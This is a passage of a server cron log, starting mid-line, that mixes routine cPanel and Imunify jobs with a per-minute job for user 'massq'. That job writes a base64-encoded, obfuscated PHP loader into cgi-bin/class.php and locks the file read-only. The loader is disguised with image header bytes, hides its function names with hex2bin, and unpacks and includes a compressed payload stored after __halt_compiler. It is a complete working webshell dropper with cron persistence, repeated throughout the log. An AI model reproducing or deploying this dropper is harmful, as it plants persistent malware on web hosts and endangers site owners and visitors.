SBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:27:01 server CROND[23842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:27:01 server CROND[23843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:27:01 server CROND[23844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:27:01 server CROND[23845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:28:01 server CROND[24266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:28:01 server CROND[24267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:28:01 server CROND[24268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:29:01 server CROND[24630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:29:01 server CROND[24631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:29:01 server CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:30:01 server CROND[25019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:30:01 server CROND[25021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:30:01 server CROND[25024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:30:01 server CROND[25029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:30:01 server CROND[25023]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:30:01 server CROND[25026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:30:01 server CROND[25027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:30:01 server CROND[25028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:31:01 server CROND[25940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:31:01 server CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:31:01 server CROND[25942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:32:01 server CROND[26314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:32:01 server CROND[26315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:32:01 server CROND[26317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:33:01 server CROND[26700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:33:01 server CROND[26701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:33:01 server CROND[26702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:34:01 server CROND[27078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:34:01 server CROND[27079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:34:01 server CROND[27080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:35:01 server CROND[27460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:35:01 server CROND[27462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:35:01 server CROND[27464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:35:01 server CROND[27466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:35:01 server CROND[27467]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:35:01 server CROND[27469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:35:01 server CROND[27465]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 06:35:01 server CROND[27468]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:35:01 server CROND[27470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:36:01 server CROND[28398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:36:01 server CROND[28399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:36:01 server CROND[28400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:37:01 server CROND[28768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:37:01 server CROND[28769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:37:01 server CROND[28770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:38:01 server CROND[29129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:38:01 server CROND[29128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:38:01 server CROND[29130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:39:01 server CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
